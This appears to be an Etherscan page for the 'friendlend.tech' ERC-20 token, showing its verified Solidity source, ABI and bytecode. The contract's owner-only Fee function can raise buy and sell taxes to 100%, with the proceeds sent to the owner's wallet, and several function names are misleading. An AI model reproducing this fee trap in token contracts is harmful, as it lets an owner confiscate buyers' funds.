ETH Price: $2,390.39 (-0.58%)

Token

friendlend.tech (friendlend.tech)
 

Overview

Max Total Supply

1,000,000 friendlend.tech

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,438.948369584430306367 friendlend.tech

Value
$0.00
0x177779b9cb5132720078c0b77db6b47783454f39
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-29
*/

/**
https://twitter.com/friendlendtech

https://friendlend.tech/

*/

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _balances;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool public tradingEnabled = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    bool private enable = false;
    uint256 triggerAmountToSwap = _tTotal / 200;

    address payable private _taxWallet;

    uint256 public buyFees = 5;
    uint256 public sellFees = 5;
    string private constant _name = "friendlend.tech";
    string private constant _symbol = unicode"friendlend.tech";
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
 

    uint256 public _maxWallet = _tTotal * 2 / 100;


    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(uniswapV2Router)] = true;
        enable = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero");
       
        uint256 taxAmount = 0;
        bool txInWhiteList = (_isExcludedFromFee[from] || _isExcludedFromFee[to]);
        if (!txInWhiteList) {
            require(tradingEnabled, "Trading is not started");
            if (from == uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul(buyFees).div(100);
            }
            if (to == uniswapV2Pair ) {
                taxAmount = amount.mul(sellFees).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && balanceOf(address(this)) > triggerAmountToSwap) {
                backs(triggerAmountToSwap);
            }
        }
        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function removeRestrictionsToZero() external onlyOwner {
        _maxWallet =_tTotal;
        buyFees = 0;
        sellFees = 0;
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }
    function setTriggerAmountToSwap(uint amount) external onlyOwner {
        require(amount>0, "amount should not be zero");
        triggerAmountToSwap = amount;
    }

    function backs(uint256 amount) private {
        bool success;
        swapTokensForEth(amount);
        (success, ) = address(_taxWallet).call{value: address(this).balance}("");
    }

    function removeLimits() external onlyOwner {
        _maxWallet =_tTotal;
        buyFees = 3;
        sellFees = 3;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function Launch() external onlyOwner() {
        tradingEnabled = true;
        swapEnabled = true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function securityStops() external onlyOwner() {
       enable = !enable;
       swapEnabled=swapEnabled;
    }
    receive() external payable {}

    function manualBurn(uint256 amount) external returns (bool) {
        _transfer(address(msg.sender), address(0xdead), amount);
        return true;
    }
    
    
    function isBot(address a) public view returns (bool){
      return _isExcludedFromFee[a];
    }

    function StartAuction() external onlyOwner() {
        tradingEnabled = true;
        swapEnabled = true;
    }

    function Fee(uint256 buy,uint256 sell) external onlyOwner {
        require(buy <= 100, "invalid new Fee");
        require(sell <= 100, "invalid new Fee");
        buyFees = buy;
        sellFees = sell;
    }
    function GetIsContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"}],"name":"Fee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"StartAuction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeRestrictionsToZero","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"securityStops","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTriggerAmountToSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805463ffffffff60a01b1916905560c8620000246012600a620004ad565b6200003390620f4240620004c4565b6200003f9190620004de565b6006556005600881905560095560646200005c6012600a620004ad565b6200006b90620f4240620004c4565b62000078906002620004c4565b620000849190620004de565b600a5534801562000093575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556040805163c45a015560e01b81529051919263c45a01559282820192602092908290030181865afa15801562000134573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015a9190620004fe565b6001600160a01b031663c9c653963060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e09190620004fe565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200022b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002519190620004fe565b600580546001600160a01b0319166001600160a01b0392909216919091179055620002793390565b600780546001600160a01b0319166001600160a01b0392909216919091179055620002a76012600a620004ad565b620002b690620f4240620004c4565b335f81815260036020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002f86012600a620004ad565b6200030790620f4240620004c4565b60405190815260200160405180910390a3600160025f6200032f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260029093528183208054851660019081179091556004549091168352912080549092161790556005805460ff60b81b1916600160b81b17905562000526565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f257815f1904821115620003d657620003d66200039e565b80851615620003e457918102915b93841c9390800290620003b7565b509250929050565b5f826200040a57506001620004a7565b816200041857505f620004a7565b81600181146200043157600281146200043c576200045c565b6001915050620004a7565b60ff8411156200045057620004506200039e565b50506001821b620004a7565b5060208310610133831016604e8410600b841016171562000481575081810a620004a7565b6200048d8383620003b2565b805f1904821115620004a357620004a36200039e565b0290505b92915050565b5f620004bd60ff841683620003fa565b9392505050565b8082028115828204841417620004a757620004a76200039e565b5f82620004f957634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200050f575f80fd5b81516001600160a01b0381168114620004bd575f80fd5b61139080620005345f395ff3fe608060405260043610610164575f3560e01c806370a08231116100cd5780639b2f5d8611610087578063d295ebf011610062578063d295ebf01461016f578063dd62ed3e146103e8578063e0f3ccf51461042c578063e4748b9e14610441575f80fd5b80639b2f5d8614610396578063a6205f24146103aa578063a9059cbb146103c9575f80fd5b806370a08231146102ff578063715018a614610333578063751039fc1461034757806382247ec01461035b5780638da5cb5b1461037057806395d89b4114610185575f80fd5b806323b872dd1161011e57806323b872dd1461024f578063313ce5671461026e5780633bbac579146102895780634ada218b146102c057806352547435146102e05780635342acb414610289575f80fd5b806302ac81681461016f57806306fdde0314610185578063095ea7b3146101cb57806318160ddd146101fa5780631b300e461461021c57806323b6358514610230575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50610183610456565b005b348015610190575f80fd5b50604080518082018252600f81526e0cce4d2cadcc8d8cadcc85ce8cac6d608b1b602082015290516101c29190610fae565b60405180910390f35b3480156101d6575f80fd5b506101ea6101e5366004611010565b6104a1565b60405190151581526020016101c2565b348015610205575f80fd5b5061020e6104b7565b6040519081526020016101c2565b348015610227575f80fd5b506101836104d6565b34801561023b575f80fd5b506101ea61024a36600461103a565b610526565b34801561025a575f80fd5b506101ea610269366004611051565b61053c565b348015610279575f80fd5b50604051601281526020016101c2565b348015610294575f80fd5b506101ea6102a336600461108f565b6001600160a01b03165f9081526002602052604090205460ff1690565b3480156102cb575f80fd5b506005546101ea90600160a01b900460ff1681565b3480156102eb575f80fd5b506101836102fa36600461103a565b6105a3565b34801561030a575f80fd5b5061020e61031936600461108f565b6001600160a01b03165f9081526003602052604090205490565b34801561033e575f80fd5b50610183610620565b348015610352575f80fd5b50610183610691565b348015610366575f80fd5b5061020e600a5481565b34801561037b575f80fd5b505f546040516001600160a01b0390911681526020016101c2565b3480156103a1575f80fd5b506101836106e2565b3480156103b5575f80fd5b506101836103c43660046110aa565b610753565b3480156103d4575f80fd5b506101ea6103e3366004611010565b61080d565b3480156103f3575f80fd5b5061020e6104023660046110ca565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610437575f80fd5b5061020e60095481565b34801561044c575f80fd5b5061020e60085481565b5f546001600160a01b031633146104885760405162461bcd60e51b815260040161047f90611101565b60405180910390fd5b6005805462ff00ff60a01b19166201000160a01b179055565b5f6104ad338484610819565b5060015b92915050565b5f6104c46012600a61122a565b6104d190620f4240611238565b905090565b5f546001600160a01b031633146104ff5760405162461bcd60e51b815260040161047f90611101565b61050b6012600a61122a565b61051890620f4240611238565b600a555f6008819055600955565b5f6105343361dead84610879565b506001919050565b5f610548848484610879565b610599843361059485604051806060016040528060288152602001611333602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610bfd565b610819565b5060019392505050565b5f546001600160a01b031633146105cc5760405162461bcd60e51b815260040161047f90611101565b5f811161061b5760405162461bcd60e51b815260206004820152601960248201527f616d6f756e742073686f756c64206e6f74206265207a65726f00000000000000604482015260640161047f565b600655565b5f546001600160a01b031633146106495760405162461bcd60e51b815260040161047f90611101565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106ba5760405162461bcd60e51b815260040161047f90611101565b6106c66012600a61122a565b6106d390620f4240611238565b600a5560036008819055600955565b5f546001600160a01b0316331461070b5760405162461bcd60e51b815260040161047f90611101565b60058054600160b01b60ff600160b81b8084048216150260ff60b81b1984168117839004909116151590910260ff60b01b1990911661ffff60b01b1990921691909117179055565b5f546001600160a01b0316331461077c5760405162461bcd60e51b815260040161047f90611101565b60648211156107bf5760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206e65772046656560881b604482015260640161047f565b60648111156108025760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206e65772046656560881b604482015260640161047f565b600891909155600955565b5f6104ad338484610879565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116108da5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047f565b6001600160a01b0383165f90815260026020526040812054819060ff168061091957506001600160a01b0384165f9081526002602052604090205460ff165b905080610abf57600554600160a01b900460ff166109725760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd081cdd185c9d195960521b604482015260640161047f565b6005546001600160a01b0390811690861603610a2557600a54836109aa866001600160a01b03165f9081526003602052604090205490565b6109b4919061124f565b1115610a025760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047f565b610a226064610a1c60085486610c3590919063ffffffff16565b90610cba565b91505b6005546001600160a01b0390811690851603610a5857610a556064610a1c60095486610c3590919063ffffffff16565b91505b600554600160a81b900460ff16158015610a7f57506005546001600160a01b038581169116145b8015610a945750600554600160b01b900460ff165b8015610aaf5750600654305f90815260036020526040902054115b15610abf57610abf600654610cfb565b8115610b3757305f90815260036020526040902054610ade9083610d5b565b305f81815260036020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2e9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260036020526040902054610b599084610db9565b6001600160a01b0386165f90815260036020526040902055610b9c610b7e8484610db9565b6001600160a01b0386165f9081526003602052604090205490610d5b565b6001600160a01b038086165f8181526003602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610be58686610db9565b60405190815260200160405180910390a35050505050565b5f8184841115610c205760405162461bcd60e51b815260040161047f9190610fae565b505f610c2c8486611262565b95945050505050565b5f825f03610c4457505f6104b1565b5f610c4f8385611238565b905082610c5c8583611275565b14610cb35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047f565b9392505050565b5f610cb383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610dfa565b5f610d0582610e26565b6007546040516001600160a01b039091169047905f81818185875af1925050503d805f8114610d4f576040519150601f19603f3d011682016040523d82523d5f602084013e610d54565b606091505b5050505050565b5f80610d67838561124f565b905083811015610cb35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047f565b5f610cb383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bfd565b5f8183610e1a5760405162461bcd60e51b815260040161047f9190610fae565b505f610c2c8486611275565b6005805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e6c57610e6c611294565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610edc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f0091906112a8565b81600181518110610f1357610f13611294565b6001600160a01b039283166020918202929092010152600454610f399130911684610819565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610f709186915f91879130914291016112c3565b5f604051808303815f87803b158015610f87575f80fd5b505af1158015610f99573d5f803e3d5ffd5b50506005805460ff60a81b1916905550505050565b5f6020808352835180828501525f5b81811015610fd957858101830151858201604001528201610fbd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461100d575f80fd5b50565b5f8060408385031215611021575f80fd5b823561102c81610ff9565b946020939093013593505050565b5f6020828403121561104a575f80fd5b5035919050565b5f805f60608486031215611063575f80fd5b833561106e81610ff9565b9250602084013561107e81610ff9565b929592945050506040919091013590565b5f6020828403121561109f575f80fd5b8135610cb381610ff9565b5f80604083850312156110bb575f80fd5b50508035926020909101359150565b5f80604083850312156110db575f80fd5b82356110e681610ff9565b915060208301356110f681610ff9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561118457815f190482111561116a5761116a611136565b8085161561117757918102915b93841c939080029061114f565b509250929050565b5f8261119a575060016104b1565b816111a657505f6104b1565b81600181146111bc57600281146111c6576111e2565b60019150506104b1565b60ff8411156111d7576111d7611136565b50506001821b6104b1565b5060208310610133831016604e8410600b8410161715611205575081810a6104b1565b61120f838361114a565b805f190482111561122257611222611136565b029392505050565b5f610cb360ff84168361118c565b80820281158282048414176104b1576104b1611136565b808201808211156104b1576104b1611136565b818103818111156104b1576104b1611136565b5f8261128f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156112b8575f80fd5b8151610cb381610ff9565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156113115784516001600160a01b0316835293830193918301916001016112ec565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122050fd800e8f55e31a3b5b48aa53dbde7f6e040ebac33a0fa998657e5579f5390164736f6c63430008150033

Deployed Bytecode

0x608060405260043610610164575f3560e01c806370a08231116100cd5780639b2f5d8611610087578063d295ebf011610062578063d295ebf01461016f578063dd62ed3e146103e8578063e0f3ccf51461042c578063e4748b9e14610441575f80fd5b80639b2f5d8614610396578063a6205f24146103aa578063a9059cbb146103c9575f80fd5b806370a08231146102ff578063715018a614610333578063751039fc1461034757806382247ec01461035b5780638da5cb5b1461037057806395d89b4114610185575f80fd5b806323b872dd1161011e57806323b872dd1461024f578063313ce5671461026e5780633bbac579146102895780634ada218b146102c057806352547435146102e05780635342acb414610289575f80fd5b806302ac81681461016f57806306fdde0314610185578063095ea7b3146101cb57806318160ddd146101fa5780631b300e461461021c57806323b6358514610230575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50610183610456565b005b348015610190575f80fd5b50604080518082018252600f81526e0cce4d2cadcc8d8cadcc85ce8cac6d608b1b602082015290516101c29190610fae565b60405180910390f35b3480156101d6575f80fd5b506101ea6101e5366004611010565b6104a1565b60405190151581526020016101c2565b348015610205575f80fd5b5061020e6104b7565b6040519081526020016101c2565b348015610227575f80fd5b506101836104d6565b34801561023b575f80fd5b506101ea61024a36600461103a565b610526565b34801561025a575f80fd5b506101ea610269366004611051565b61053c565b348015610279575f80fd5b50604051601281526020016101c2565b348015610294575f80fd5b506101ea6102a336600461108f565b6001600160a01b03165f9081526002602052604090205460ff1690565b3480156102cb575f80fd5b506005546101ea90600160a01b900460ff1681565b3480156102eb575f80fd5b506101836102fa36600461103a565b6105a3565b34801561030a575f80fd5b5061020e61031936600461108f565b6001600160a01b03165f9081526003602052604090205490565b34801561033e575f80fd5b50610183610620565b348015610352575f80fd5b50610183610691565b348015610366575f80fd5b5061020e600a5481565b34801561037b575f80fd5b505f546040516001600160a01b0390911681526020016101c2565b3480156103a1575f80fd5b506101836106e2565b3480156103b5575f80fd5b506101836103c43660046110aa565b610753565b3480156103d4575f80fd5b506101ea6103e3366004611010565b61080d565b3480156103f3575f80fd5b5061020e6104023660046110ca565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610437575f80fd5b5061020e60095481565b34801561044c575f80fd5b5061020e60085481565b5f546001600160a01b031633146104885760405162461bcd60e51b815260040161047f90611101565b60405180910390fd5b6005805462ff00ff60a01b19166201000160a01b179055565b5f6104ad338484610819565b5060015b92915050565b5f6104c46012600a61122a565b6104d190620f4240611238565b905090565b5f546001600160a01b031633146104ff5760405162461bcd60e51b815260040161047f90611101565b61050b6012600a61122a565b61051890620f4240611238565b600a555f6008819055600955565b5f6105343361dead84610879565b506001919050565b5f610548848484610879565b610599843361059485604051806060016040528060288152602001611333602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610bfd565b610819565b5060019392505050565b5f546001600160a01b031633146105cc5760405162461bcd60e51b815260040161047f90611101565b5f811161061b5760405162461bcd60e51b815260206004820152601960248201527f616d6f756e742073686f756c64206e6f74206265207a65726f00000000000000604482015260640161047f565b600655565b5f546001600160a01b031633146106495760405162461bcd60e51b815260040161047f90611101565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106ba5760405162461bcd60e51b815260040161047f90611101565b6106c66012600a61122a565b6106d390620f4240611238565b600a5560036008819055600955565b5f546001600160a01b0316331461070b5760405162461bcd60e51b815260040161047f90611101565b60058054600160b01b60ff600160b81b8084048216150260ff60b81b1984168117839004909116151590910260ff60b01b1990911661ffff60b01b1990921691909117179055565b5f546001600160a01b0316331461077c5760405162461bcd60e51b815260040161047f90611101565b60648211156107bf5760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206e65772046656560881b604482015260640161047f565b60648111156108025760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206e65772046656560881b604482015260640161047f565b600891909155600955565b5f6104ad338484610879565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116108da5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047f565b6001600160a01b0383165f90815260026020526040812054819060ff168061091957506001600160a01b0384165f9081526002602052604090205460ff165b905080610abf57600554600160a01b900460ff166109725760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd081cdd185c9d195960521b604482015260640161047f565b6005546001600160a01b0390811690861603610a2557600a54836109aa866001600160a01b03165f9081526003602052604090205490565b6109b4919061124f565b1115610a025760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047f565b610a226064610a1c60085486610c3590919063ffffffff16565b90610cba565b91505b6005546001600160a01b0390811690851603610a5857610a556064610a1c60095486610c3590919063ffffffff16565b91505b600554600160a81b900460ff16158015610a7f57506005546001600160a01b038581169116145b8015610a945750600554600160b01b900460ff165b8015610aaf5750600654305f90815260036020526040902054115b15610abf57610abf600654610cfb565b8115610b3757305f90815260036020526040902054610ade9083610d5b565b305f81815260036020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2e9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260036020526040902054610b599084610db9565b6001600160a01b0386165f90815260036020526040902055610b9c610b7e8484610db9565b6001600160a01b0386165f9081526003602052604090205490610d5b565b6001600160a01b038086165f8181526003602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba